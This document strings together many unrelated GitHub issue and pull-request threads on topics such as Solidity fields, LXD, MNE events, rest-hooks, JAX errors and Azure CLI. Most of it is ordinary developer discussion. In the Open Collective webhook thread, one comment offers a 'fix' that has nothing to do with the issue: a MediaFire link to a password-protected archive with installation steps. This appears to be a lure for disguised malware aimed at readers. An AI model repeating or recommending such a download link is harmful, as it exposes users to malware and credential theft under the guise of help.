Router.sol - What is "fraction" use for?

I see that there is an uint256 in the "StoreOperation" struct but it is not used. What will it be used for?

fraction has not been implemented yet, but the idea is simple: when fetching a store, fraction will allow to use only a certain percentage of the value. (Since the EVM doesn't have a floating point type, it will have a denominator of 1000000 or something similar.)

@pgbrandao so it would be a way to move from various decimals type? Like transforming a value from 10 ** 6 to 10 ** 18?

The fraction field is a way to facilitate operations that use only a portion of a stored value, specified as a percentage. For example, if you have a sequence of exchanges—you want to convert 100% of token A into token B, then split the resulting amount of token B, converting 50% into token C and keeping the remainder in token B—fraction allows you to specify these percentages. The EVM doesn't support floating-point arithmetic, so fraction will use a denominator (such as 1000000) to represent these percentages with high precision.
I have roughly implemented this idea on this commit: b878605

Ok ok I see, thanks for the clarification!


iOS Firefox Virtual Keyboard / Disappearing Options Issue

Describe the bug
On iOS Firefox (it's okay on) the options disappear once the virtual keyboard disappears. It's an issue because sometimes you need to scroll the page to see the remaining options in the dropdown.
To Reproduce
Test with a multiple select control with several options. Open Firefox on iOS and click inside the input so that the keyboard appears. Scroll the page with your finger. Keyboard disappears and so does the dropdown of options.
Expected behavior
For the dropdown to remain so the user can select options.
Desktop (please complete the following information):
N/A
Smartphone (please complete the following information):

Device: iPhone 13 Pro
OS: iOS 16.6.1
Browser Firefox
Version 119.1

Additional context
Absolutely fine in the other browsers I have installed on my phone; Safari, Chrome and DuckDuckGo.

This should be fixed with v11.0.0


lxd: fail at startup if setfacl does not exist.

Closes #305
Signed-off-by: Serge Hallyn<EMAIL_ADDRESS>

Shouldn't we do the same with rsync, tar and xz too?

On Thu, Mar 05, 2015 at 09:25:06PM -0800, St�phane Graber wrote:

Shouldn't we do the same with rsync, tar and xz too?

Not sure.  setfacl seemed important precisely because the error seems
to be well hidden and hard to debug.  But we can add those...

I suspect the other ones are similarly hard to discover, it's just that they're less likely because 90% of the systems do have rsync, xz and tar.


Support for template inside .github directory

As in the Issue and Pull Request templates blogpost:

If you're worried about the added clutter in the root directory of your project, we also added support for a .github/ folder.

Opening a pull request with hub in a project that has PULL_REQUEST_TEMPLATE.md file inside .github directory on the root of the project does not pre-fill the pull request message.
Templates work as expected in the web interface for opening Pull Requests.

@hugobessaa Check your hub version. Is it at least 2.3.x?

I'm sorry for that. Escaped to me that this feature is only available in 2.3.x. Also read some code and could not find .github lookup.
I will test with 2.3.x

worked for me after installing HEAD


[ISSUE #2281] use LoggerFactory instead of lombok in SyncRequest

use LoggerFactory instead of lombok in SyncRequest

Fixes #2281.
Motivation
Explain the content here.
Explain why you want to make the changes and what problem you're trying to solve.
Modifications
Describe the modifications you've done.
Documentation

Does this pull request introduce a new feature? (yes / no)
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)
If a feature is not applicable for documentation, explain why?
If a feature is not documented yet in this PR, please create a followup issue for adding the documentation

@MajorHe1 fix build error.

@MajorHe1 fix build error.

OK， I wil fix it later


Pre merge code quality checks

Closes #30

Codecov Report

Merging #72 into master will not change coverage.
The diff coverage is 100%.

@@          Coverage Diff          @@
##           master    #72   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files           9      9
  Lines         186    186
=====================================
  Hits          186    186

Impacted Files
Coverage Δ

ouroboros/cli.py
100% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update db75750...d76dc15. Read the comment docs.


⚠ Cioos National CKAN has degraded performance

In 3453cce, Cioos National CKAN (https://catalogue.cioos.ca/) experienced degraded performance:

HTTP code: 200
Response time: 5705 ms

Resolved: Cioos National CKAN performance has improved in 7b46939 after 9 minutes.


docs(@angular/cli): changed generated.md

changed generate.md to fix broken links
changed generate.md to fix broken links

Hi @akhilbojedla, thanks for the PR.
Please read the first line of the file you added:

Links in /docs/documentation should NOT have .md at the end, because they end up in our wiki at release.


Missing setup.py?

It appears that installation can't be completed due to a missing setup.py file. Will that be added soon?

yeah it is not uploded yet. should be there this week. will post again here.

Great, thanks - I will check back. Sorry to jump the gun!

It is up now. Thanks for checking up in the first place :) Cheers~


Handle events with non-unique event time samples

fixes #6665

I am realizing that the '%s/%s' % (event_1_key, event_2_key) does not work, because in the mne events, we expect integers ... not strings.
Any advice @larsoner ?

You need to

Come up with new event numbers for the events array, and
associate these properly with event_id dict

For example if in neither events nor event_id they use the integer 5 for anything, then you would make your events_id['x/y'] = 5 and set events[idx, 2] = 5

@sappelhoff you also need to update some tests

Okay, I think this is a reasonable proposal now @jasmainak @larsoner @agramfort @massich
Before I start to implement testing, please let me know what you think.
Also: I need advise on what I need to edit if I want this parameter to be available in Epochs, EpochsArray, BaseEpochs, and so on.

Please go ahead and write the tests. It will help us check the logic better.

Okay, tests are fully implemented now. Ready for another review :-)

all the code doing the job (the part inside merge) is really weird.

@sappelhoff while trying the code I tried to the make the test more ambitious. It breaks the tests. Please have a look.

all the code doing the job (the part inside merge) is really weird.

I am following what @agramfort and @jasmainak  told me:

make it work
make it nice
make it fast

I feel like I can use your feedback well for step 2. @massich :-)

@sappelhoff making short nice stuff helps for better understanding and its less error-prone.
But yes!! make it work !! (and make sure it is readable for the other people!!!)

Surprisingly hard to do ... I like it. In principle, often duplicate event times are an indication of something having gone wrong. But it's good to have the functionality.

Thanks for the reviews everybody. I addressed almost everything and the code is much better now (in the second iteration).
Unfortunately I won't have time to do a third iteration ... so it'd be great if somebody could take it from here!

Let us know when it's ready for reviews.

Let us know when it's ready for reviews.

it's ready now - I just fixed a LGTM issue and a pydocstyle thing .... CIs should come back all green now.

glad I didn't volunteer for this issue ;-) @massich I let you merge since I didn't follow the developments very closely

LGTM


New Release?

When will there be a new release? There are a lot open Pull Requests and Xcode 9 with Swift 4 is GM, so we need a new release asap...

+1

+2


First go at "At Scale" workbook for Event Grid Domains

Metrics within each tab are copied from the "At Resource" workbook for
Event Grid Domain and displayed with basic formatting.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: cpaulsems sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


Webhooks: improve Slack/Discord support

Depends on https://github.com/opencollective/opencollective/issues/7162
As surfaced in this thread, Slack/Discord webhooks are not behaving as expected: it you select "All" activity types, you'll get only a subset of the activities reported (mostly the ones listed in this switch, with the exception of "Transaction created" => see https://github.com/opencollective/opencollective/issues/7162).
We should make sure we publish other activity types. Ideally, implement a Typescript pattern that forces every activity type to have a corresponding Slack/Discord adapter or to be explicitly ignored.
Related: https://github.com/opencollective/opencollective/issues/7523

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


use GitHub pages

Please push dist folder to gh-pages branch so that it will be viewable directly by Synopticum.github.io/jsInterview

Thank You! I do.


Your deployment failed

During Template Deployment I've received this error during a role assignment:
ERROR TYPE
Principals of type Application cannot validly be used in role assignments. (Code: PrincipalTypeNotSupported)

Do you know how to fix this?
thx
René.

It sounds like you provided the Client ID instead of the actual object ID, that can cause this error. You can give the SP permissions to the key vault manually by going to Access control (IAM) on your key vault and under role assignments assign your app registration to the "Key Vault Administrator" role.

Thanks, that could be the issue, although I double checked the id's beforehand its possible that I mixed something up with the wrong id's. I will re-deploy template or update the role assignment in the keyvault manually. Thanks a lot for your quick reply.

Let me know if you're able to get through and deploy :)

Now the deployment succeeded. As you mentioned I used the object ID from the app registration blade instead of the enterprise application object id.  Thanks again, we can close this issue as solved.
Best regards.
René van den Wijngaard.


stop IBD if one OB peer is synced and no blocks are incoming

closes #447

Required for tfchain testnet, as that is currently going since the last 24 hours on a slow pace. You can still review whenever you can/want @robvanmieghem, but it will be when already merged into master.


[Bug]-[97]:Inconsistency in the field title of the property pane

Is there an existing issue for this?

[X] I have searched the existing issues

Current Behavior
For few of the Widgets the text title is displayed as colour in some places and color in some places.
Current status:
1.Container widget - Background colour, Border colour  and Shadow color
2.Audio Recorder - Icon color , Background color
3.Button Widget - Button color, Shadow color
4.Divider Widget - Divider color
5.Form Widget - Background colour, Border colour  and Shadow color
6.Icon Widget - Button color, Shadow color
7.Iframe Widget - Border color
8.List Widget - Background , Item Background - text colour is not displayed
9.Menu Widget - Icon color, Text color, Background color , Menu color, Shadow color
10.MultiTeeSelect - Label text color
12.Rate Widget - Active color, Inactive color
13.Stat Box Widget - Background color
14.Table Widget - Cell Background -text colour is not displayed for Cell Background  , Text color
15.Text Widget -  Cell Background -text colour is not displayed for Cell Background , Text color , Border Colour
16.TreeSelect - Label text color
Steps To Reproduce
1.Launch appsmith app in release or Prod environment
2.Drag and drop most of the widgets , open property pane and check the field title of colour

Environment
Production
Version
Cloud

@AR10X This is all your. Assigning this to you now. The change will be:

We follow US english and hence we will use Color everywhere, In other words replace Colour(s) to  Color(s)

FIXED FOR ALL OF THE CASES MENTIONED IN THE BUG EXCEPT THE FOLLOWING CASE:
Table Widget - Cell Background - The text "color" is not displayed for Cell Background in the sub widget properties (Step/Task/Status properties)

@btsgh can you please add a screenshot, Not able to clearly understand this

@somangshu -

@btsgh kindly also point out the change required, Do we need to change the copy? I am not sure

It is just a minor change required .. As per the original bug raised.
Currently the property text reads as "Cell Background"
It should read as "Cell Background Color"
Refer the bug details point 14.

Stats

Stat
Values

Reach
97

Effort (months)
0.5

@somangshu can I work on this issue?

@priyanka-mahour : This issue is fixed! Marking it as closed. You can pick up other issues.


Engine tokens estimated value

We should show estimated value of hive engine tokens

What does this PR ?
Basically, in this PR we added a feature to show estimated USD value of hive engine tokens.
Screenshot/video
View on loom
Issue link
Find issue here


useCache on nested array property

React version (e.g., 16.8.5)
16.8.4
Concurrent mode yes/no
No
Describe the bug
This is more a question on how to handle this kind of use.
Let's say I have a Learner Resource :
export default class LearnerResource extends Resource {
  readonly id: number = 0;
  readonly firstname: string = '';
  readonly lastname: string = '';
  pk() {
    return this.id;
  }
}

Learners are never fetched directly, but are a property of a Teacher Resource.
TeacherResource :
export default class TeacherResource extends Resource {
  readonly id: number = 0;
  readonly firstname: string = '';
  readonly lastname: string = '';
  readonly learners: LearnerResource[]= [];
  pk() {
    return this.id;
  }
  static getEntitySchema() {
     cont schema = super.getEntitySchema();
     schema.define({
       learners: [LearnerResource.getEntitySchema()]
     )}
    return schema;
  }
}

The component which displays the Teacher :
export default function Teacher({id}): React.ReactElement {
  const teacher = useResource(TeacherResource.singleRequest(), {
    id,
  });
  return (

     {teacher.firstname}
     <LearnerList learners={teacher.learners} />

  )

My question is, how am I supposed to retrieve the learners in the LearnerList  with useCache ?
export default function LearnerList({learners}): React.ReactElement {
  const learners = useCache(?);
  return (

  )

I can't make a Learner Component which could retrieve a single Learner. The component library I use forces me to give the whole data array as a prop.
Thank you !

Great question! This seems like an important use case, which unfortunately doesn't have a good solution yet in code.
However, it would be pretty easy to add something like:
// learners = [5, 30, 23];
const learners = useCache(LearnerResource.listRequest(), learners);
``

There's already a special case for single results to select entities even when they don't have actual url results (which you alluded too), we simply need to add another case for passing an array of keys in.

The code is in https://github.com/coinbase/rest-hooks/blob/master/src/state/selectors.ts if you want to take a shot as I probably won't be able to get to this for at least another 2 days as we're doing a hackathon at work right now.

Hi, thanks for your response !
I'll take some time to look into it some time later this week. Good luck with your hackathon :)

I think I have a solution to this now. Working on writing it up.

OK! So I'm not certain of exactly if I really want to change useCache right now as there are some alternatives for this and other use cases that are much better probably (like actually denormalizing these). So for now I exposed a lower-level hook called useSelectionUnstable() that will enable a simple workaround for this case. I used your example provided to build my own example with this usage:
import { useSelectionUnstable, State } from 'rest-hooks';

function selectByPk(state: State<unknown>, pks: any[]) {
  const entitySchema = LearnerResource.getEntitySchema();
  const entities = state.entities[entitySchema.key];
  return pks.map(pk => entities[pk]).filter(entity => entity);
}

export default function LearnerList({learners}): React.ReactElement {
  const learnerResources = useSelectionUnstable(selectByPk, learners, (pks: any[]) => pks.join(','));
  return (

  )
}

This is available in 1.4.0-beta.5 however there's a slight typescript bug with the second param expected in the selector function (you can use 'as any' to get around this). The typescript will be fixed shortly as well.

Does this work for you for now? I'm hesitant to introduce a new API surface area when I'm not completely certain of the implications of its implementation.

Hi ! I was off for the week, sorry for the late response.
I just tried your solution and it does work as expected :)
However, State is not exported by rest-hooks, but it's only for typing so it's not a big problem.
Thank you for taking the time to look into this, and good job on the new documentation !


Confusing General Convolution type error

I was trying to implement a GAN in flax when this error appeared:
TypeError: ConvGeneralDilated(): incompatible function arguments. The following argument types are supported:
    1. (lhs: jaxlib.xla_extension.XlaOp, rhs: jaxlib.xla_extension.XlaOp, window_strides: Span[int], padding: Span[Tuple[int, int]], lhs_dilation: Span[int], rhs_dilation: Span[int], dimension_numbers: xla::ConvolutionDimensionNumbers, feature_group_count: int = 1, batch_group_count: int = 1, precision_config: xla::PrecisionConfig = None) -> jaxlib.xla_extension.XlaOp

Invoked with: <jaxlib.xla_extension.XlaOp object at 0x7f1947d42298>, <jaxlib.xla_extension.XlaOp object at 0x7f1947d42b20>, (1, 1), (2, 2), (1, 1), (1, 1), <jaxlib.xla_client.ConvolutionDimensionNumbers object at 0x7f193aa64828>, 1, 1; kwargs: precision_config=None```

The error seems to come from lax General Conv, but I can't understand it exactly, would it be possible to:

1. Help me see where the error is?
2. Implement a less verbose and more informative error?

Here's the code that caused the error:
  def apply(self, x):
    x = flax.nn.Dense(x, features=7*7*256)
    x = flax.nn.BatchNorm(x)
    x = flax.nn.activation.gelu(x)

    x = x.reshape((-1, 7, 7, 256))

    x = flax.nn.Conv(x, features=128, kernel_size=(5, 5), strides=(1, 1), padding=(2, 2))
    print(x.shape)
    x = flax.nn.BatchNorm(x)
    x = flax.nn.activation.gelu(x)

    x = flax.nn.Conv(x, features=64, kernel_size=(5, 5), strides=(2, 2), padding=(3, 3), lhs_dilation=(1, 1, 4, 4))
    print(x.shape)
    x = flax.nn.BatchNorm(x)
    x = flax.nn.activation.gelu(x)

    x = flax.nn.Conv(x, features=1, kernel_size=(5, 5), strides=(2, 2), padding=(3, 3), lhs_dilation=(1, 1, 4, 4))
    print(x.shape)
    return x

_, model = Generator.create_by_shape( jax.random.PRNGKey(0),
                    [((1, 100), jnp.float32)])

a = jnp.arange(100).reshape(1, 100)
model(a)

So when using manual padding you should write n pairs of (before, after), which is the amount of padding to be used before and after each spatial dimension. I still believe a better error message would be helpful (specifically one that says what argument has received the wrong type, instead of dumping all of them at once)


change dataset to cifar100

@hyhieu Hi,Thank you for  all you work.
Now,I want to take place of  the cifar10 dataset with cifar100 to implement this code to find and tune CNN cells and architectures. But I can't find the interface between dataset and network. Would you please give some advice? Thank you very much.

look at src/cifar10/data_utils.py and implement your own read_data() function

@MattVil  Thank you for you help,I have successfully  implement this code to search for good cells with cifar100 dataset.  Thank you very much.

Change those lines in enas\src\cifar100\general_child.py or models\enas\src\cifar100\micro_child.py
- w = create_weight("w", [inp_c, 10])
+ w = create_weight("w", [inp_c, 100])

If the input shape changes, it is necessary to modify the  _pre_process() in models.py.

Hi, I wanted to know while searching for micro cell for cifar100, does the validation and test accuracy improves over time. I am getting extremely low accuracy even if I train for longer period.


Update MetaInformation.php

Handle when x-request-id is not returned, such as when using a local LLAMA model via LM Studio's local server feature.

close in favour of https://github.com/openai-php/client/pull/283


An openai.APIConnectionError occurred calling the api

Confirm this is an issue with the Python library and not an underlying OpenAI API

[X] This is an issue with the Python library

Describe the bug
Hi ,I can call OpenAI Api interface with my Api key  but calling the Api using OpenAI-python results in an error ,it error. can you show how did you solve this problem.
Api example:
`❯ curl https://api.openai.com/v1/chat/completions
-H "Content-Type: application/Json"
-H "Authorization: Bearer key"
-d '{
"model": "gpt-3.5-turbo",
"messages": [{"role": "user", "content": "how to use MySQL!"}],
"temperature": 0.7
}'
{
"id": "cxxxxxx",
"object": "chat. Completion",
"created":<PHONE_NUMBER>,
"model": "gpt-3.5-turbo-0125",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "To use MySQL, you will need to follow xxxx"
},
"logprobs": null,
"finish_reason": "stop"
}
],
"usage": {
"prompt_tokens": 12,
"completion_tokens": 282,
"total_tokens": 294
},
"system_fingerprint": "xxxx"
}`
error log is :
File "/Users/xxx/Library/Caches/pypoetry/virtualenvs/backend-FuQBPevx-py3.11/lib/python3.11/site-packages/openai/_base_client.py", line 1494, in _request
return await self._retry_request(
^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/xxx/Library/Caches/pypoetry/virtualenvs/backend-FuQBPevx-py3.11/lib/python3.11/site-packages/openai/_base_client.py", line 1563, in _retry_request
return await self._request(
^^^^^^^^^^^^^^^^^^^^
File "/Users/xxxx/Library/Caches/pypoetry/virtualenvs/backend-FuQBPevx-py3.11/lib/python3.11/site-packages/openai/_base_client.py", line 1504, in _request
raise APIConnectionError(request=request) from err
openai.APIConnectionError: Connection error.
To Reproduce
calling the api using openapi-python
Code snippets
No response
OS
mac os
Python version
python3.11
Library version
openapi v 1.0.0

There may be a problem with your network, or your server may not be in a country on OpenAI's allowed list.
Either way, this is not an issue with the SDK, so please see help.openai.com or the OpenAI developer Discord if you need further help.


Success response

Is there method for success response?
for example
I update or create some record (POST,PATCH or whatever)
and i want to call
$this->response->success($message)

to get
{
  "data": [],
  "message": "Succesfuly unfollowing user",
  "meta": {
    "code": 200
  }
}

Maybe like this
$this->response->success('Items was added.',$data,$location);

and in config api to add
    'successFormat' => [
        'message' => ':message',
        'success' => ':success',
        'code' => ':code',
        'status_code' => ':status_code',
        'debug' => ':debug',
    ],

What do you think?
I can create my own in BaseController but it is not nice:D
i cant then use $this->response->success i need to use something like this $this->respondWithsuccess ....

There's a number of helper methods, including a created helper that accepts a location.
return $this->response->created();

These responses are fairly generic. If you'd like custom messages and what not along with the response then you'll need to just implement this yourself.


fix(VirtualizedTree): left-arrow navigation to hidden parent item

Based on onFocusParent callback from item.
If parent node was not rendered inside the virtualized tree then focus by left arrow from children would not work.
Should not do anything if element is already visible. The default Tree implementation in onFocusParent should handle the job.

Warnings

:warning:
There are no updates provided to CHANGELOG. Ensure there are no publicly visible changes introduced by this PR.

  Generated by :no_entry_sign: dangerJS


Guidelines for new issues

Let's come up with a good comment to put on every new issue.

Thanks for submitting the issue, here are some general guidelines:
Please use:

Product Pains
Stack Overflow

@brentvatne @ide feel free to edit while I sleep :)

Another version:
By analyzing the title and description for some common words it looks like this issue might be a question. If this is wrong please cc mkonicek.
Please consider using Stack Overflow. It's the best system for Q&A and the best way to get questions answered.
Many people from the community hang out on Stack Overflow and will be able to see your question. If Stack Overflow works for you, consider posting there instead and closing this issue.

Shorter version:
Hey @mkonicek, thanks for reporting this issue!
We've started using a new website called Product Pains to help the community prioritize issues.
We have limited bandwidth, it's therefore important to know which issues should be fixed first. The reason Product Pains works better than github is that people can vote on issues. On github it's possible to sort issues by the number of comments but that gives only a very rough estimate.
If you want to help the community prioritize, go ahead and give Product Pains a try. You can link to this issue from Product Pains.
There are also other ways to get help - see the README.

:rocket: - the message in https://github.com/facebook/react-native/blob/master/bots/NewIssueGreeting.md looks good!

@mkonicek want to close this ;)

Yes definitely, thanks for the reminder! :)


1020 rebase 08162021

Please check that everything looks good with this rebase on upstream master @sbteeks @dhruvibm.


[Auto WebUI metadata importer] Separating prompts with line breaks is no longer working

Expected Behavior
When loading generated images into SwarmUI, it should recognize the entire prompt, treating line breaks as null characters or commas. For example, then prompt for this image...

...is as follows:
Perfect, beautiful, gorgeous, best quality, digital art,
obama and george bush having a water balloon fight
(note the line break after "digital art")
Actual Behavior
When loading generated images into SwarmUI, it no longer recognizes line breaks as a valid way of separating prompts. For example, for the image above:

It only recognizes the first line of the prompt.
Steps to Reproduce
Seems to be a problem with any image that has line breaks in its prompts.
Debug Logs
-

Other
The problem appears to be with this commit: https://github.com/mcmonkeyprojects/SwarmUI/commit/f79cf0978c8c613afa861b9bf45622e5a0af3e74

This is specifically auto webui images imported, right?

Should all be good with new commit. If you find any images that don't work still, please upload examples.
Note the root issue here is auto webui doesn't have any reliable static format (eg Swarm uses JSON), so the parser is just kinda trying its best

Yeah, IIRC if you look in the auto source code it...kind of...has to figure out what older versions of it's own code did when creating metadata a lot of the time.


[BUG]  Operations of Path '/_search/scroll' are not marked as unsupported for amazon-serverless

What is the bug?
According to AWS OpenSearch Serverless Scroll API 404 error | AWS re:Post, the scroll API is currently not supported by AWS OpenSearch serverless. All of the operations under the path /_search/scroll are documented to be supported by all distributions.
How can one reproduce the bug?
N/A
What is the expected behavior?
The operations under the path /_search/scroll have the following property added:
x-distributions-excluded:
  - amazon-serverless

What is your host/environment?
N/A
Do you have any screenshots?
N/A
Do you have any additional context?
It would be good to understand how reliable the information regarding the support of individual operations by a respective distribution is.

Please do contribute! Note that we currently don't run regular tests against serverless because we don't have an instance we can use in CI, and it doesn't work locally blocked on https://github.com/jamesmbourne/aws4-axios/pull/1621 and  https://github.com/jamesmbourne/aws4-axios/pull/1621. And finally, check out https://github.com/opensearch-project/opensearch-api-specification/issues/522.


Develop

Hello @EdinsonRequena! Thanks for opening this PR. We checked the lines you've touched for PEP 8 issues, and found:

In the file introduccion-al-computo-con-python/modulo_IV/clase01-tuplas.py:

Line 35:80: E501 line too long (92 > 79 characters)
Line 36:80: E501 line too long (83 > 79 characters)
Line 38:1: E302 expected 2 blank lines, found 1
Line 41:1: E305 expected 2 blank lines after class or function definition, found 1

In the file introduccion-al-computo-con-python/modulo_IV/diccionarios.py:

Line 47:22: E261 at least two spaces before inline comment


Single GPU training

Did anyone manage to run training on a single GPU? I keep getting torch.distributed.elastic.multiprocessing.errors.child failed error when using one GPU to train with this following training script:
torchrun --nproc_per_node=1   /path/train.py
--ckpt cat --load_G_only --padding_mode border --vis_every 500 --ckpt_every 10000
--iter 100000 --tv_weight 2500 --loss_fn lpips --exp-name lsun_cats_lpips --real_data_path /my/train_data/
Thanks in advance!
Edit: I tried to turn off the distributed mode but a math value error pops out in here https://github.com/wpeebles/gangealing/blob/739da2a25de62702d54d83fad6b644646512039c/utils/annealing.py#L42
says Value error math domain error

Hmm, that's strange. I don't think I've encountered any issues training with one GPU. Can you try replacing the torchrun --nproc_ner_node=1 with python?

I'm running it on colab using:
python 3.7.13
torch 1.11.0
cuda 11.2

Hi thre!
I was able to run the training by using this script
python /content/gangealing/train.py
--ckpt .../myckpt/020000.pt --load_G_only --vis_every 500 --ckpt_every 10000
--iter 100000 --tv_weight 2500 --loss_fn lpips --exp-name lsun_cats_lpips --real_data_path  .../train_folder/
and I had to turn off all the distributed setting (i.e., set distributed = False) and I had to set the num_cycles to an integer.
I'm using colab with python 3.7, pytorch 1.11.0, cuda 11.2
Does the number of cycle impact the training a lot?

Great! To answer your follow-up question, I haven't carefully ablated the impact of the number of learning rate cycles, but my guess is that it shouldn't matter too much.
By the way, when training on 1 gpu you will likely get better results when using gradient accumulation to get a larger effective batch size (see issue https://github.com/wpeebles/gangealing/issues/10). The --batch argument controls the per-GPU batch size. Ideally, total batch size should be at least 40 or so, but anything greater than 5 should help improve results.


Windows 10: Explorer pane is not responding at all

A this point of time, on my Windows 10 machine stable build of the app is not starting up at all, though, the latest nightly build starts succesfully, but the explorer pane does not allow to open subfolders or select files to open or edit. Are the any logs that can be used to investigate?

Is this still occurring? There was a few changes and fixes around this recently.
You should be able to run oni2 from the command line with -f --debug to get some useful logging out otherwise.

Tried nightly build - it is slightly better. I could click on file items and it works as expected. But clicking on nested folder items within parent folder does not expand the folder content. Note that when I enable logging, I can see that items are fetching but it just the UI does not render them for some reason

Thanks for trying the latest, @kkutsner !

Note that when I enable logging, I can see that items are fetching but it just the UI does not render them for some reason

Strange - would it be possible to see the logs, @kkutsner ?
I just tried to repro:

There were two possibilities I was thinking:

Path with spaces (previous bugs around this)
Path length issues (some Windows APIs don't work correctly with paths over 260 characters).

I experimented with both these and wasn't able to reproduce, but I'd be interested to look through the logs and see if we can narrow the delta.

Not sure what I did... but while trying to figure out how to push logs to some output file I ran the app from command line:
'C:\Program Files\Onivim2\Oni2.exe' .\Documents\Development\
And now I can't repro the issue anymore, no matter which way I try to run the app - from command line or from start menu - the explorer just works as expected. So may be passing some explicit startup path to the app triggered some cleanup that did not happen before.

I'm not able to reproduce this anymore either - will continue to track in #2213 , though


Advanced Example

@xorbit  I was able to use the POE-Featherwing for more than the basic examples.
Thanks for a great solution to build on!
Should anyone need an example using the built-in MAC and with large (> 2k) pages.

Closing since this is information sharing, not an issue

Thank you @gitTinker!  I will try to add this example to the README when my vacation is over.


python312Packages.coinmetrics-api-client: 2<IP_ADDRESS> -> 2<IP_ADDRESS>

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

nixpkgs-review result
Generated using nixpkgs-review.
Command: nixpkgs-review pr 351404

x86_64-linux

:white_check_mark: 4 packages built:

python311Packages.coinmetrics-api-client
python311Packages.coinmetrics-api-client.dist
python312Packages.coinmetrics-api-client
python312Packages.coinmetrics-api-client.dist


command "lorem" doesn't replace text and throws an error

Describe the bug
When trying to randomize text in a docx file by running "docxbox lorem .docx" an error is thrown:
terminate called after throwing an instance of 'std::logic_error'
what():  basic_string::_M_construct null not valid
To Reproduce
Steps to reproduce the behavior:

Command: docxbox lorem
Resources: any valid docx

Expected behavior
Text in provided docx file gets replaced by random text
Environment:

docxBox Version: 0.0.4

lorem was removing the source docx, see https://github.com/gyselroth/docxbox/commit/baf9a3dfda144ee4bcdd6fa6b634c0211702f81d


[CT-934] Add deprecation warning to direct use of compiled_sql

User used to be able to access compiled_sql from model in jinja space.
We renamed it compiled_code in our code base. Given this is a user space attribute,  we will still supporting that use case, but we would want to add a deprecation warning to the use of it so we can remove it in future releases..
Related discussion

Concerns:

If compiled_sql is used multiple times, we ideally wouldn't want to issue a Deprecation Warning for every time it's used, that's too repetitive
It's also unclear how we would do this since it's a dictionary lookup and not a method.

Possible solution is to replace the dictionary with a class that implements the dictionary functions.
Are we okay with issuing the deprecation warning multiple times since maybe you want to know all the places using the deprecated functionality?

Possible solution is to replace the dictionary with a class that implements the dictionary functions.

I sorta like this idea in general!
I'm guessing it would require a change to how flat_graph works, which currently just converts the manifest into lists + dicts.
The only code I could see being at risk here is people writing Jinja code that expects a node object pulled from model or off graph.nodes to be a dictionary. As long as we implement enough dunder methods to make the node object dict-like...?

Are we okay with issuing the deprecation warning multiple times since maybe you want to know all the places using the deprecated functionality?

The way our deprecations module works today, it intentionally suppresses any deprecations beyond the first. I can imagine the iterative experience of run dbt, see warning pointing to file, update that file, run again, see same warning with new file, ... is not so fun.
The dream would be one deprecation warning containing all the call sites. I think that would be tricky to wire up, though.
The real benefit of using our deprecations module is that it sends anonymous tracking events, so we get a sense of how many people are still using deprecated stuff.
So I'd propose: fire one "overall" deprecation warning plus one warning per call site


Generic Coordinated protocol

If we remove the coordinator segue we are able to make the Coordinated protocol generic and add default implementation for get/set methods.
Since I do not know about any place where we use coordinator segue I think this improvement is really worth it.

Exactly, I've came to this conclusion as well, the coordinator segue is the only blocker for making it generic. And actually, we could even have the both if we introduce type eraser for coordinator protocol and use it in coordinator segue.


AuthenticationException while running az acs dcos browse

I'm running this command:
 az acs dcos browse --name containerservice-name --resource-group resource-group-name

which yields the following exception:
Authentication failed.
Traceback (most recent call last):
  File "/Users/ygil/lib/azure-cli/lib/python2.7/site-packages/azure/cli/main.py", line 37, in main
    cmd_result = APPLICATION.execute(args)
  File "/Users/ygil/lib/azure-cli/lib/python2.7/site-packages/azure/cli/core/application.py", line 157, in execute
    result = expanded_arg.func(params)
  File "/Users/ygil/lib/azure-cli/lib/python2.7/site-packages/azure/cli/core/commands/__init__.py", line 343, in _execute_command
    raise ex
AuthenticationException: Authentication failed.

Here is the output from az --version:

azure-cli (2.0.0)
acs (2.0.0)
appservice (0.1.1b5)
batch (0.1.1b4)
cloud (2.0.0)
component (2.0.0)
configure (2.0.0)
container (0.1.1b4)
core (2.0.0)
documentdb (0.1.1b2)
feedback (2.0.0)
iot (0.1.1b3)
keyvault (0.1.1b5)
network (2.0.0)
nspkg (2.0.0)
profile (2.0.0)
redis (0.1.1b3)
resource (2.0.0)
role (2.0.0)
sql (0.1.1b5)
storage (2.0.0)
vm (2.0.0)
Python (Darwin) 2.7.13 (default, Dec 18 2016, 07:03:39)
[GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-8<IP_ADDRESS>)]

I believe that your ssh key is wrong here. Where did you create this cluster? Is there an ssh key present on this machine?

@yoanisgil try specifying the --ssh-key-file parameter and put the full path of the RSA private key. If it doesn't work, try adding the key with Pageant and run the same command again. I reported the same problem here #3232

I'll keep that in mind for the next time, since  we finally decided to move on and use Kubernetes.

This does look like a local SSH key problem as in #3232 that could be fixed with --ssh-key-file.
@tjprescott let's close this old issue.


Scheduled upward merges for numbered branches in wazuh-indexer repository - Fortnight #11

Description
The goal is to complete the following tasks, each task must have a PR associated with this issue.
